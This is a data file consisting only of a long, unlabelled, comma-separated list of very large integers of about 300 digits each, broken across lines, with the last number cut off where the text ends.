4274626269366666716489889893083643196281647293305594721797
39970941292986270682737,
8482019629972975714027222153576948739877824854532495059367
5906565792983998748884828994427185266354030777701961972624
0611686373210183216232386964558324738559715451247688096307
4861029560450821011992274512748871842896035938648908909981
5407826581694720723358921460970307306795197308464365992561
3639442727105701137256,
2585703334040609560637617583063727055107792894907834185387
4494157861118312611571439787904717218300815339478048492422
2412073502809649985255539690367221464979664474527638457666
7789993199270594928104830729381556359227377186710385327339
4305488306952207382402007254365606143174153784089115839559
45505086599548612253136,
2737602825163079974503687583355411957848814636168617935530
1126628490023003631969751096215657020945871742462005326042
3102548127934093056443334467544314609741118440243681141828
1786595806002215661907501169517089863230504974829550278579
0975867949257167684921370731091238473330884892649003843176
44745929969953062397508,
2561014509085816708085432439640844429855199406934331775543
2394051215823559406210398427163756073772535384344366281853
7813789142217823009781958931440887625899751012207569249906
0526688301962988131862357138287741567302741501521368921341
1324965913784907254496746692813275585616154667756483988968
91727629188721146600657,
1431185204209658089779875646716518737267883246320010968923
4248356404942934818634431468094063212920434513708410840666
3287965064267306730174454152392309674137226191136984944366
6778080968371902316105072287717177639369989714929154746710
2180725877155190160426866258226873209516775709632761317408

950071395841110271296,
1758763179701881942664793610949305615583029784533578241874
6156945534922345504008443757289179369005320640419413965238
2382944373534709226956679709392372823028522060474015739192
1047121283081916219374718401296552636205298020247765557181
3269742089807343098118662689021671284232524107891555176776
50353550824342098622841,
2513497757433743532869320820556593417983063207728724063177
0548465045173655134032137765973250305820400402135525026965
0952977422325859276924136801581090837407976966294879495433
4987089205856126542654440905670178674386424801921720310971
9517431726692769084636326129583710447556205336844213974036
2278059010334920851196,
2333537585471513574106155405396316346188578351317314333414
6338091025876778079988153985351224568931496013225507980880
5422416842753683776826943526431939607264698676365988211100
0281590096058480787486789441110957237777335995425217813749
1125169166771397943988898222959339702522775745211363909383
69839399978578392830127,
2832123857383928727267790553987494911856935478512154750658
0453903650834300674248834036436383731761536899797891939154
9839069024828230733239037415881123863260295720915181219073
7847165144867401978670016574752371591329398193383252571024
1944543480763069603087502706575809630628045345697145701367
50710955318017259516119,
2108623205283091157874481007114818936900310689477184110509
3530199877444201754427988489207066795164767108361785707749
1917049284358750486854479857176016649871539685804946561037
3480617628112955959244872933687659830895585139869841791353
8233121270005265611459410017211178111310379863704045427386
39659583617864748486426,
2954486749836572038856642854478961890818876093875817171879
1608139543224127249592841937758935840323834698903011397547
3814907366563957266255396876699418701969854882513301812972
1157931080617366539700186539451868931047494526019806698269
1417624253295504373635961000751189161725854499878199131190
28522848364561694877448,
3313380365870420444107381090848798021316575791491757313802
7672830696367189409058268946969061890479539087169686569501
3444572348574594344745608648238938883444016296968402602127
2280265408251222739347649199466638446607504015539671645511

9756300491569102427618277070974107215567364304473065413448
78827996222236077853672,
2141725102253702090949534187620006021841018238351252848592
2930840162195106417432973796450127786243151564639462376956
8551476517789888939022806600922941400617541496248455667061
8246388927114121994788455641823199556656581749596087741743
5676202085916143075589042214551392805622368325658824825237
12738496369227246438308,
3164025364290338955259050141822317794190490317911524616080
1374201693859888843360007059081222701170452725204678269813
6670280307812090556888932464143915396584787021673312209843
7507765640899381081524575545885180442299121843669073845035
0039667139736020872336911368549975086149131206076436939690
23859985326145182482366,
1422492514590413323938630043530933988564621394937085369388
6684408936912424719714973452715303210543554944363813698285
0050562498476180100913805120695603901619973838938181423844
2224137513210724867610812977161737470384618845547118897023
6415511597174700322607743541715219463585658795062946036949
28782515679651254889438,
5551455609773454631217892480248399696243719456601277091823
1538581803266980303126039664044341749201876260152601355936
8879878345618134728391244067967151092198329815018408625424
3977740222434118041480649677203344775699352977876814580689
5908399965286543816321875983752258837841194942171259736825
7973140110747338228699,
2509873395644965090080334388474232015148181577885220160679
8838899254820208424864888259243642346161227978994035675217
1400164873829053377147769036625908754077739402360966415632
7515401927728934900577742458146415955095184975812424673755
3578325077246348541905162787573113715733520477093332685479
59062587762965561338073,
3366915048872883948278909008370879321817946161200442366774
0121644852550139416757941937979755968054570206248484698914
4117408002154394481459897918752578332848400829211167078981
5252428210821085431238188604150095931033679158573693361529
5492389160579069406381506405555471638292923747592069863869
2589621775291265168104,
2385328557227902909042965000359996192963953092226087612975
6155953528036496586361979895876592297800228807959757807428
7113416095688337847076811721115457136639622030333345664746

3983949858975515887973054138157174512471971005432031964102
0410653784839970982517031623341069900470475848785968174760
3063058076737144150165,
2096893136779348999842282579450569081390400603811525078853
6075951714869949481716475010048117548999239525734189844863
8868003757435911394789388364821188328250258201374585154847
9908571657897136486731732895332332088824545922721849302355
1259791724688960836543225880294447924177030307954219468067
50184825247005746954523,
1601571854650541359038689981705798045574185151574569875980
5106429248397822075377965116956681234158915760562128563874
7184364479484294768970875697349424618228576140113916404204
8689151514016592631692517005790564970397446344026119907575
4014076850094060939220409333107902203446566426777689479030
96785432335780869042813,
2324467153459461652387684993933302752420715578856790011978
4323914866978739182674946440079741947399824479944133887929
0554887250288456054484064047573076074746952861854747143599
6603858419013289986319708272995047462524123168965648512692
5603359374030064769151030124973049602057656402770447536025
22295566750374047463707,
2322243458242554426365585959397236740983296868734412873291
1498668244638109130664604041904792194156485512007416683265
4644065207367678443297576290853456228175048638106990741787
7480664677301667066144549101906632384098940429791911012993
9684762031917890364794418394994339750527740444999977381105
60981528963658043653807,
2232082267259243122804932690487705156792150358581142473798
5766618427419416760048551876496889086281283124992707587740
9269495464558777954972566307861677612649636073090910312752
7581346963799061320522116103013609512912848344955124017793
7630126080590706282756369590190120843250341156976229690245
35401930062345489292059,
1271871664407520932214484117977126087359809801320992896448
2436694423782182133895725443306882489787405383655876922879
5726626100648535402011724971064217320793571150288558615669
5988738501951583824107886045142704577846861347283651628307
7371658208073706602457679282212631563634816981419548727540
09330591032484825701096,
1477431819850239919526799019855656084221666391172953855934
1998732433760922303736732338256379191333485217030754629896

8769052271629653278809248334632545572442032084644355205852
4355800248364926105037778761697928798621103840094214928427
9310319899745080880238031589963640689035407018701866057463
80786637602481167915477,
1926543072567822961783148928101927951203632486813134340754
7397805829475759397086045520766076561860069470931084060284
018447770201029678709044077959909066696183942623507483053
7995795058679146407706153955098754376889363221896110702989
0745867737567794722600061328075358636282820248258249344082
45042853758058063465719,
1624698697993208805384605314728088879959474871309503466717
7837193070247003194825231036809226446460205783371864282643
8280233154610033807921717759755937291484344534030961170359
9856767139920089836778499303463236976961552349530699801101
6563901937062876564110760508782739461784500242762485405621
79547376266719620760929,
2163231547656528684356749863291816570548708621906896672797
5552506621831836931425340040815311600914154759062861415569
5823518045608364302181799262036292927810542483061857702445
5438470137233556589785509502737134085992781127967673817912
3706420912594737759288541263733397839573286030654630575127
64819852680158875194937,
2817956668831552295620363473959318449202936993209983839288
5074028821294021997120335458658732167882133363456812120334
4959053004397490463062377859264297687025363028793294093481
7777871513158716925868031529461278258696224115568612454903
3535666864009591978468058138716080847116562754852937994190
25562894312433850691156,
3187615031569751536356717929389116875756463938917016356674
6729551407169120909511033972548089261591840020963887518904
6433421224958919584217478400296277960221877203617735114065
0537145582868917796600684324386718127956991916615367509413
4393661141804941313438717804479620885113938037709473966838
17455015981037828073545,
7950428508919181126964796925828371689575845085993758484214
3685017360397583070287350301669659414629313861973267666574
1869822091081952178358583058904452361377940669593125106811
9233382569425375682645735626746980908496011068489711077242
9592237768351864101605591916059408181867926816319562773748
0843601161654069280016,
1349918738421443100076781030133704669755448358452908807572

6754429271599357487663378520137403255362213890353630941076
7475454122386368084771036287205805460601202330887197908040
5328225055568888406271028831711305682807401171135838490383
4459540286292492038631605301607971816244990659600799528325
45127690763753298164429,
1804233328104060433514369580835297569227607670902789000737
2617334806485321567223186328177808334157218383311536702891
4008183285867877100528603359008475125085791008176933061140
9175690590750658394790531711274264433847781369798792200639
9031033882722736426233499155576919156115379841655049609516
30190506771372066398265,
1360488633626225476493489453813293855527114757667193659146
6463906895064055107652304543846562037042294409207933307297
3277991870131695001557928753461439783984240744200318519665
7576284827008804931057276484073065166302232667103447745817
9717100556367709485849795259699967435175316205132369926093
01456214879025702143391,
2216909331618075103244151373550948559093524736632448637049
7464291802853379831251334628009222812275008003960095203779
0223113389378325845411241080666244074309108946209367158550
1732431337411724063471987718572366411794441672685641921551
2037073593870399529745051614402840720864440586223493253673
12253028498786864836968,
2344263751032441350742543304092792640937220796776266360749
4881367486104615704115503459623656660263737527792980413457
9769048754138518132092269961597878403449777541584974556256
6934420735543522988382660422334276117999895765695925751196
5034873086908295363099528677446349895816243629377398005647
14523973266957083400864,
2557473476382139978437307097684264250341925054989460402763
4471493988170835017191861711559194358045965846429922145659
2282028093344921711354069418317573439588752864994887469694
5455930774720944678449159786450739574241347027458272111499
5210161126585776541095976573686628550599311498718755170980
7059020958604255443320,
4557307729191335290037960199188677175789712184860624970851
9656415700957626348933441636829838170769313191248625102404
3944141092460656508493653015280332826860777720395887348309
5233931554444568631087050046292358529301029191377506685273
7340683182688121216301806879112722666227481517149841461540
1355985965614480479576,

2614194157224312286086066660327586904008095166543583080237
7804409947058650438567174572500654335988987404495649634220
7980925538005094111130697866711889556628143911918626445145
1798201170010865371824940530307795753541164095014918419532
5394302988697814259354967610881186894198000745334674045133
76766211825296051018261,
2023395964801696037467395376714171283994067952446446014784
7784546191415152720912861086130698595738765427919467338584
9008154968649511309976826698954463246549666399133091340297
7264399709897059726319842773839181479398702143698942606226
8109626022434361049296437447173717106201187912608034103899
13589923036813346002301,
1210353140743637129813470853881863738298155599789980941253
2197023501165442937142859689615642268475908729555598515803
1415389878001283165117773940672648839981408702662806879067
8979156086781640409491955854723834810552493925840374207343
4339147117987381734106432861274944083723737681992719445518
47347271476855227416299,
2452983060512997920367236283290404929124165792639589442355
7310207115866010072847768158666149364905678047898980566887
1437599514183643942342132569658903851834120650482294961146
5954767008371175268597990754026328195897241400230229120921
6013834409074193893582876584969796012536936629321730549346
61295480914571056468268,
2964670834002026383722569923376090114225019924511930876687
2462739091183793587988069764998899213423007961149057280292
3125817211816171200403637703720966581093533497672095046816
2642634876683362843580233014915066559228891841615468211314
0988389988584533608232105922728012220446052226048812049767
52145674523357587801994,
2636896652184877631929715233052508589777794920553626822556
0759853142743382511844422638450284853195781812600844777126
5207775086086798907773414414802414215429989782666933085301
7063391392239297379758495171473223852447976033714095893753
3899920899991252522550969149706277132682399827144550669340
05504990344989239476720,
2794230729447373345906904743471379269036668951584106110763
3839290113756454980095228585534359887328032828929431680253
2210151836277101444923351213048742838685931771439901844855
2766947815446932311578470893724956183090041916333623010175
1893580964630329784466271587730324618241567582563307546257

9831255029015135650171,
2350928049065617168338853064331036547714333418669371717937
5302805800355756533852058590538661801541815824298046513138
4249655820661194696244068749947347389056137641591982714536
8311367487539471150263934974398089754698175132408299813064
9362691398044797006533524783497589353085868912635992065474
54057250011749670173478,
2062756130650389558129511120107620004124706369777778095263
0150469407792058772414943071320380563694752824576617854476
3450614007571690456925742894077452682921421671327227776238
5727878646261607618376314708287774363933076952039803523402
8413377938638307165190470056809601431653685994697002953039
13812530723981238365581,
2271770850861184259581171143744578799120673748681462062713
8613209218180017192647576942149731129809691139540195747601
7563090412772627335563012635103721324075709397050146736726
3094105659172386652554264003306289291283088398351768126537
1146199940733371391327731682801683841635272893976897164865
36679899282470445950715,
1746811658559595707305781670794300344726689736555941634123
7301543651971953194092561442997846858178827840636012129574
1270072316945654325343477264129280304865747694376621754298
8906416873983662171464292011681017714862360866256131288920
3800786088444363555329351559348939389373943184371966041218
52751385128824057513279,
1665065638560573543327757293332185185741991920737925954066
1792236928735726486006172097308804361932490036145579223190
3021898970495225235595820944741701042850590877056050213126
9851441109121537303213474053706908401231630340894398845405
4084416987115295531646470989049295299085911718267564675325
79832850135475711941708,
4740222026055032964782504482230137638724583538702387061953
5366917027113312305676425782162973872788734607521232164313
4579282249525157911919362077723180997524394119464214688106
8713029840442488295027669264990133819692166355546594692863
3533532066877562079836658688973342991680148630179443562133
4709096942713180697909,
2581694325424947878167458202753106442110803715359403437255
6896730010713561884189533791123046064559583871984034591570
7314076137953783729124747005964395788710637814574599334380
6154575936757652607778059734056888973855877501121351792977

3298551033945897793571139417879829964482117075407876820419
4335088132491515415255,
1407065693795047039181657315740067913611337520512665404426
9580876249026408505289237407557953322310836849396735016555
4256375608125965149706969880114279197332124991941879106905
0499709064295928127365983288504232721437044295161492362246
8492080225900490548758244624399351414525953603574715720850
07974216539901983955262,
2770627599658963451792365008639803821710057132047794928323
3152758070934045918647843511577909807625468968765127127279
1347873138254812205041761116178119479485484136693967461462
1139728991844729589419527194458464289309105492421467947466
5909297961359938234293194515115265160360172348039956493179
07173332486675628499489,
1262936692803592197610414950689685447016811097435239733656
9843288492063344378403370336622575123309322892180049217375
5421602474192130922538930515652739504468812229565185950769
0757454258788512627018635582191531601698709521588952509838
9595288067361186240623244258094326352446865732973511769866
27646252079639307836469,
3118098333430568359744633570661087562443762475320659494517
6829441683011741530354509223420168193106528706283100459936
3304262684479740511550886450445263328042017987043262176700
5850745894820710621234712758630847323872333165229546828364
6912773983879475450769421454760459333084233321253159916320
16865435666466164396230,
1074468684391410386572856111873851089566245670038410017606
0336136203725349639002433876777232839456689746159544816403
1878821206543970163068642721973413752999513775505359672657
0871180456311862686808469234326796813177196479019225945138
6518004189364667656045607496424134725797468399452685142859
84736504121795919070069,
2399073136214828835358694494151968730178132473666810507626
2534191307402601743466511919852966478992967025948432887387
0028484212290587093066241995393541674417737186792191751059
5876749143349530940611504920686706906718700879216228689541
5700574880491715793495406374812286802189570230171599661785
46524766990687728575094,
1754131564906152869620265715539994500981773742495372646916
6224382551909401926648674046341626708646718867552226767349
5551261184038510640327096205109058728645402121149920001042

8780505699435022837807380317347118022121111500005224894947
9271241040101865189679390002522032910179196898337910640619
43624452039807789588236,
7914948153202097884672799828585049179048732724714329632377
7928226522999187651465142023057495965179646659961701334842
7037345284057741356900073515097149109853885947092104085306
3626906514822570533781050510165649069857494670510369101539
8153452209039177905876013672265019666764154818515606859337
3263630552609777436084,
1052578152615579811476362353407371864276271061065358337015
9712832164594263711086209007588527885971991478008454747161
6597107456062455987439627056074054944038429973117450661061
2514506545957302914161451526030177306479717661481318132012
6828768116228212380162136778159383600202153890337273764100
38761942172774354896344,
2805735702094791657954368162382762978121348362564529074153
2244597125207324069626516807967107686949421125782187067941
1317037878596333606397960859345643405005241975092016659648
6663038892339752445624678950973005409319939821949656845933
9381002169901765049976059040244332823875388795002872484348
6315092683843396212004,
2503899947792799471856554128229915826985082522439400370065
9392547346845700384676469067775518685888787657844189786713
7908631779739838061055824539484909698575743362662692124618
5682755871627863936537624521890217727511105051281909599611
5011644340487229086833104053377755736448973145092297806832
55233195281874800158552,
1246574018834924814109096262394233896534244101009188475078
7783967735321046357993760776976428476276248457487130495806
7650851936971177341661949710709939397375166499338727708697
2683946107409293694236571742400370443751355167287861815958
5473227574669524885649397005652378387967927679447525727963
7428789108034700915762,
3208948438073414011461788655946963060956511335207095066352
7806240526612995152381918722288774478111526836602896281601
8179528933038963734614905486394220799354288784861013126773
5824708174868898502919990276771851258325451585274718530543
0944951807240920518864840160319131285877696761102550706243
36266232933729084540633,
5352778574204495782497811440250532393316051379075875597833
3117892327517098375345213420853763934209886389033500053894

7073110339585556165066913974927986586780688218344027295136
4091277360709036567181501278834183542736503197167519956050
2605983853756255824422280252017366570678608567681453621696
4000926200659715426659,
4844589500340021284146798850974894940622999136088862775924
9198252088537563339158837647131631633672818472416168209119
8458187675935814305631886342429009603707949682059737008936
6151650496776914636241895654451739291354484046242237475308
6665162658948378163903362620703255044100905881147424551982
5763805263365154566817,
1950085613019398403969240146752602843583727535305327780222
1597148364662397136817223227005007112651794978403738619214
4779272891986073662966235606905678681779460141049523806261
2175132855503140967396467077138182774997665977257879668728
0505211191891097719331736548921073004406860807861662537139
57545077920939894848547,
1226316441195020630799777516947472635243314847572383914241
5436302619978842198486815979893213316156777405919260543898
1667143202850753873929352910866247058167969243455315584648
2222290641218810680354467589191820054192368176740677679273
6631899074656735777603631733569450619230394607277789602655
42187105112082068831931,
3351510953244445713974435147314589459379761606432469632291
8854017451106445078362194121897716382583855132647615255019
6006939771034618455781020839005662160250658904143402511659
5907605614556508616077862307161562829036784957952838190496
2284281748196096899559333447371008221692705450879916257707
86228981028093374266682,
1329265067890000770123047435026592762279052587636560812082
2602311466842109767846500680071537730444686852814112291492
4362610448073062572224677918136724012801804279055690268431
1457822456985332863316355532811818131634169331754203827785
6134615662281312338872203543125143563945971629851912609031
11540673975430110521953,
4586750038270218683421414606433430110859786032144838433704
8800229741480745720071696722379004410008584245251740950962
0433239591957428813558347893615848514426314234506447437438
9089302396922681468556716632572170755111715977876994558460
3348903674515767824759332909032821171267363930775563453087
1880403154383334437056,
1807010729484456199294541273976950326315533832524098624234

9939610372547328634568569475541892585497092701076803521828
2073872860588362850543266149686449187704623857101151052339
4816278886622469965727365187263890621597681332094967354477
1243157668519871022403110116445241966165936301932622407308
36287113021106747627984,
1111218028668162616860349182067960489208824525085178918258
4670796212517532461832980449348344775643934452781220646072
0893877274140908751463611311441561169005614195315952242311
2626764998134642306475299769879805856215169896197011630227
4387439742720249217416586288655468955357507435375193567719
81846944783844999291207,
6305478837699393822736841595703135028792689229222479832880
2273043765462080898832473362654539323785192164569998562871
1355902624977379679501668128359659147336507786737582734460
6026244792405005627261309462277694363987835156198317738420
6631128089123456316161275936638828513714082817079066109949
3115093794447155042529,
2873130366035218083432289171626166274861647982535360607932
2556565055063169820230963878872242320181552601441900894836
2732476121655255041094379825242522809865674771037762047896
8197504765721531133383756622956106243811498950052005284298
7712861997190108290912998914010772073597936424305004191729
25196643521025885881452,
4652554017575147646105699402408064688332225866270706665698
4667733865765022561170244153196054475762679013040603051516
2341221573672845247690010336865438143632482684904885817850
3352572117206900417257601663632072830825029607109569089963
4969540901761132167121211415762691771399202631238839864535
0944006973831173600941,
3242663998373663540503090364772311956521171086553031412321
4671717051680679188831384250553010674722173389755497294137
6062023578355872532270682063385344192086338656838502179360
968360248474313161111808865314274089841812850973529136426
5360411989115648381040045670789229068248523673588216530689
4640969020655885170165,
2561212768568931556471477182389823615605786009410591420679
6507049630062303912239984908289696309885567632067720686905
0884261733376433547070956122964005386761967457020679232523
5596451757830259173423967298380254684625611503945232366347
4778874750108757735179356139725754708691168291622091966280
86476880554442729478299,

7176274942020922623827206353294179404815429073507395324930
8921258543551029160655098720055611126822893472938552251023
6633156701234332087329815266066942421781712526471037534645
3180809159447672839539216147875073268498430465434333619099
8268591500007775280882194298822693237154048265898594233809
0265787012812802840811,
2214900388384513126848913195975506271807123953147679596131
7803067219941547501536585210113020658830806130111083552657
8082836855712085141586699663677576245435361061964431538664
7940004438899084873520838564267755124656665841667586813450
3829746097338396870203776760894346011885052278855464830198
9330658291675121553708,
4541730016605299435961942975963343410599793910175916166818
8780066661474761307734297473601000308846601524661274547143
9046723092638086143138569266753115999583960302586712847435
0797072184364383110168849400930359123192400518251772414120
5427109164123052665267881989800561305866175237798564847809
8059733161610357438869,
2777130362609475010092626957069691036406527356755858861601
9339861855528477174112105690465349614757903474636481066327
0143988868389664821016571502306176568435551106604770239930
1629748843823055699929817015101003485665304109618455157294
0914612433408586146169078505656950424208346606699583139829
28241738964758739965677,
2703619376590352573809050702922374609099026403864681800233
0151688124774083355651438445242745179793149644469656202133
3752546769972394814700047384537752017163005304036550773554
8442206644363115249400478623502238541669641771771324579589
3331366137422742753141169008146953645235165895272861709790
09572067560546762756842,
1293091117615725948549127698144086735959116576772096042853
4701343474028165982411312256172842199980377666197075044649
3235941621779790557026499850432138992217908971822276670415
9341729636870767241006975737796466497382100494196091218043
0473916593870028035471097048453647021915525961459916498428
87644759809123556450045,
1095504859591498135632290372479816566078495517581103964870
6056784864557533433600172358219192700165509752983749767681
6263601886161784119793985761142702375177949003908119212571
9058079942016449615873973244910644235485268517638932883437
2925532309951294567750319968740980042472725213601306854904

32442001103651822614907,
5692659307233588623864556482521971215084529288830278040052
7091507152026937999371108587788684670045707620794355970522
2697859795603428146596220522669116980973392010748384737640
4048800970946432551434657749755762994331724653907424672086
6240663849539423110925801511419238692671009399884618314648
9056873210266384002160,
2302290689298256429229349111370383191533462937412781210096
3796147456878856497154496084718419966500292632587567523583
2725509339088505743443899805660019297859362504828411204136
8293929517472549967949329563666121779002309050887619205397
9000035673055100285324688869918756078776457211941094115298
47341546185296770601018,
3356149536515267041838265580536419256568872410873177989382
7805956910272582099466524758414678193624928609785752599663
4760260431726334014586435110715330011715901678963372100864
3406123967029168421329792459088327555173162079069295720032
7190213593306899644907075001515404975626983986970054831167
46918743629421736506759,
2295094555086916687535831961119266558975963934216669184401
5582729561187612675689222112131280697439911868331439573648
8249945946375862414763118326214923387119468970429097838872
5591174231411979015879980664609026961745235023969841124870
9686828903664038297746747209437089335125465975285560327281
7488407246318829941851,
2386370601790001623180158726971039518274993960721834099989
3926122412130900630526519953747069827339000451227397010258
0615698396459160537991588666799753471244355399370874958178
3894396310015020771370536476940174047480324202512074897263
7869204831900702479147920386685277118291161217059159360248
1820584209148330656640,
5986367073667379686379589557986334951588402449819163245477
9928223819974469940337353924419280608247510151021894657384
2424377296262239610155371865211999625885391558685548872613
6972683121144669538847333101422581416222039749663472978707
5557396585970905084645472626936242955473434293641007483450
8761985905993289208834,
2637161638953716064958051701320740801728129456854193939631
8829739008422738782936191981891188228566597859773470913212
1010654750334173448210541176657443095427077412244716921187
7917594892816965887124412587828197331550703135964426955563

5712591379533881015149017716464702665902476604817829722717
96407227205080373573112,
1204547528729390744767609612060855032176040957485350305436
4737965674966583769578841829467926406740623227634500024007
1091934997555703201257915603340218321747941581116242615096
3555972637877886750206862026286942663549130265721014647136
8443506461149417944179167976111336210482937845050500573270
3899080552639439052755,
2330793848609571180907139374672912673065566846895028224360
5061665376154683862596547067825669559502715095084428610873
4205354358228531202467336781370532272298736085280450004981
6827727394595776415544052843696596986116205146241246064886
5393896767490949932265066960322194231877314447858424720275
16520899367806813353647,
4151951809182949683322690322358730857093159242668623054369
2776442105316371540956725883980981947227525212832664705484
8437618790261167457924122650264992384201834903137038287883
7270467863903438201901672013906970102615866318843798909120
4971433693223223434115429421177260168170869359250621046235
6254995880923435857361,
2137225335246323159629940709316024433424299726474675183143
4562608073850255297886815155941848118093903292161403114965
8508699307170557430776415016434657527443260015108393297165
6835299094302587937817946328059924336674511161143530527495
4722894648176239410556191878963353611035589040768274676102
3098675079195033987866,
9840324796512278462792198768000665290014784294025315425835
7811047954377269035843437607860494671538540827581522296605
1405607831579075320521015535480322389088563412043702583660
4333346147200448322133548052746807151371844025646275217405
1268247041010669043063433062887956039253173164121972813168
0173998268389851304279,
2243858377104893407974664995833930053894362529578394418050
7926432156660936231360847944338249148841486187738883037644
2364538678109045142208332729295027508300563631284068087834
4663465677889270449973598164766616057277254377947634885227
8882727490957194358150963866758207458950821012473522120265
92356258948309131520786,
2146877750640293447964506008286000851555460336679171968224
4002176008946949774323579171827325327807516107695621920115
2822856494556779793314850470430249250979800646836902280527

4385499231353367925185301837913730604209272948131096877398
9629112402292458434076627520016236300853472579060501223926
38179892949546329391208,
8918980248797025704331613249873696467528278915414270628028
9869092932158936045477842405508542369231227525568006204947
8931901573379885671821024034991743724756703342035990010565
7360425014519354512964162741799891034672839794773849994686
7182057402685511846606370166314222294834461324371447886921
2199364171345884126522,
2113025015789576132037450000399666866937538200165259450606
6010960011490697744131334323870047825762679243196151161422
3687746026071538912784932955611601921552863892105000367940
5302461799351965946545449326930094543942358774073628627668
8401351678929162064457037233098788798218085081921936457704
29205020042521842238670,
1582586813094031529901500188449966612085162783077205747244
6160291913612977656366735559180861730795243797164881548339
3302076337937802760432488899021683728664733847629211040455
5677783169919927100787754839676657229860686328118930764180
4493228179248323029709566774687157155432900947238872859096
81053828544028546295509,
3044340393933444431111495952261178202800641132342681313629
2363417714502251986144782463842689199514793587454653063494
1469747191047693898972192974611280679813840132134052857206
2550036093777223769309567925542185738699467575307752136775
9736812094778174881786186857932866410661336376699104287165
63005289971481316739842,
1612931429538161889125878512720474924970358170104866543788
1057121848078429818361631506946174902634918951539931217168
3826522805502731082886468421939836592221375116196064253840
1679992872530483712739778657013520737580974786854236036959
6631334677990869673239765323664906533475035750114800788854
34649629458189644288647,
3029746116654351664670842425941331179916361156134578560839
2747332257814862011509817208491650081645044585693339952603
7037021849405612694411682776766880646039601793252973412616
8713349013669677195847615165808274006333288171336110892482
6494901981430959105970052186515042030505401223673139747881
59313144346085689188372,
1894439591582009257382108774149994104928564231417121708944
6494694481462015503116014337397441105791605369029761301808

7516653842186590859682279953227819396787840426073627854601
7658760366603858873575312962672241700288393481726061599196
4382602845285278356861299435651706509875565781803833294452
50668284718073979749086,
3256118510509532791133405747872413011191053107241202072171
3267749140013107465155758831654420233684944492440394221303
4076242632745429889638230972128598963817847407023860156965
7200551725259272413563040499699339580789765696680489314333
0608258109736608045307643686121807873587183836145710251878
01648832641509903532861,
1388778595496430770187632841512685861852596772868812173954
2713591046302788095376580663515992523017009352546357405723
8421845923209926643863421307182435444302406461836282203946
0822506778892282794552979803374452771755995550301554357468
3314168209029909758904511310930396295416923567210263796593
9921420451858623989357,
2865744891888556783836729659618297063096137599981482737483
3117748795581512798731207182723205767088871336896193545106
6909436673086596500183494826975234963653543846580244982029
2759164939361206683856620834640784551418347892768566041248
6567153371663840780991355183526128570912381738866126389441
8473557408192340338881,
1361173516308599506600073635666478382308859685616908670461
3198527542875933402823198755225411768646754959896929619194
4866838246492225723773809750063398002679084419721008442994
6315494052053474665835456360153984504657658575992850305200
9199216576143010407670841220850821130521575375236503576409
73767862815819700902048,
1925236021725133927344245039836473009905379352268300734322
9223142668839533345712320443970189722383032654022467616890
8730573906020247889170800790255122445433566067501713522554
3940699559667185878997377650559758213802766527612295331532
0259026447102230445404177987708563309137635327644106902339
17929288204128000686645,
1858462081824229065567115721517025452524272907803093187828
2862934048838355503337996705007606975917902972959115857121
6387544221009090383950157460724930906670223497157439812774
2477941851903206810328942790342850410380401525134874112466
7947405462927002931360549588843395793721355627492845422602
64941017447161564083420,
1041265346413201258680006296757791307939401601811116592488

5721102529589832693742280084698324729377142313717946130982
5938340316116976200367553364422283773300820574825782547000
1002445523407796037849079759202451865577998288590719010413
9551331744511728004822833368123022231194908376430781153454
83662518903785855607106,
2530081548891261741127151029017433847027785163541451555578
2827294397500463734948037200495985139263216884630515790074
5706217585032721415017657698734556450247760514041240962932
2369388596943184415515023909206310458994663334720766984666
7299148770643479243003660780471582829758614885481098138559
57554483300202970586032,
8951071382827164951719506586646769374511308674917133080169
9262695291335370219591799633567248121666471743172527611048
6863732811798445659964606710886477473530384081805118830210
9300794519180882337694038755451105787359421656058294964140
5201962960084680984375118523494909831915270210133276018208
8432150105509413012467,
1919591057206040232388417631437803785190835288666319834093
3641451081124708986322193327893530784902120379180824263827
5899573618985440465671046962626313288055879966460998968301
1772583724102577788247330239310497168265686095225191340382
9763722657636627496666313215299015622641739146269794300466
5013432327880736021457,
2576001905436441608395745586684070339692510466581830601009
4517511991927586988197201966376843105910641657224822537061
6908781459348215003022801493662165507979902060518919728628
5318395848722823214762825645143200694543392768118243496214
3413987996386548869559706173034097651485794998197752981818
11543044884647162700196,
2064745819014739749465046647365762414298531566041563411999
4840917688611290727976757411177575892689271619407880123288
6473067891212099557843831472578369722058567353021596483535
2106789446094842908535835845901922604652995701536870926194
6089306226059013357124896570900740460315689059894043253647
85621313759305204632679,
1377739532860401152150481443353287706462024319159838259904
4168144026552780045950283643895030215460360292671282064718
2127916640762715736276178920422143571313164743085658452368
4049017634056022628112843532305096543054989684221170019149
1213817743481659719914398025658927770473622747450894740498
21601570542681425303406,

8114065644108703267116460011201314559943437660284820673277
0889643977655574934666692330463471608696380909352112434034
2271564476090279846498079825667353494777666678752063230645
7816782075034732750125764699548155268413361348431082018096
6621209393107305913705429871024378808879858991765225420643
1515513760239702503384,
2897695384583255098722140067440084165165064085639665394770
4223908717476210438644526221784571755060461063541737298860
4554051607572766393577787629730983729392900867435678052550
7421660373037102993518063450206300768374155106462494505880
5298400843964172995802439653393752507175057421703001925880
25565187994762414899195,
1924740988781336466465146961314067881747509281427679140383
4399075814870605875692555310540531132808854942356679102251
2113636385143937667589127149639373056377527197146825196311
4351033418955136217607396419986875910684452312384797759742
1352659439755103356483971600862175209519376145066384043611
51548565612987828768625,
1250288385603692421080135818880765359664735172948099789511
6050545302743972779433503993520645947368589829826410758771
8691528507264765950818807892741692643000101667321080053031
0232338959217106298225090011689786373078305672315423156819
5707702302339775901329157557546152088251193325541011088593
46727604601062064613166,
1691429194862119976125325052026250043901501369172094072581
7011715695715599850797666012614564698702373857605310023789
7283617411136178221120070202515084142791689040688077648882
2126528009329905120692284024659316704089469848705936712698
3777089245937783677611806139600258095322198560551544364891
74913264670837523540863,
3269357006648460579213515072592592771509867044833901945940
0165084123790281884544156516995945950267356896461869659882
7961742768871257665200130709750024997881835941183518354169
0207945060376168490469774573589354010098339009129367558495
0012117974227865572688506424343335799062117533656807942111
57731375065309499439205,
1810903773776708457501811445759729619846856183849080868894
3049022648748395549506693924645147909274718611321904856397
8337414077171229055863767928798328314176979566351336163748
7244518275299898310281490736534579737507644536046272031729
5518031917042699971985214542021414466432760378940625705503

24207990727377204593440,
1780757716419428284475012707591752935153677350351334140735
0182823339718237242934466051631010787756366918749700476146
9209409829580434405053830339366513096106445348234611576221
6940076244861095562885933215144901521035479985607728477016
6717579269120718024001669412112131244185874837643961373183
51423539703665939212769,
2839944347129305805078763939061072999766954278637473624978
5215004397498971646102731093162288976584247134971583612229
4031855956501350033023983299081849157326632262016023090315
3023288622363089386376852828327047156372471250972377562433
8400757935859371965869867853394983144031258054672847713851
80638861482602781877759,
2684163387014278176313479109051306436365068261758082288668
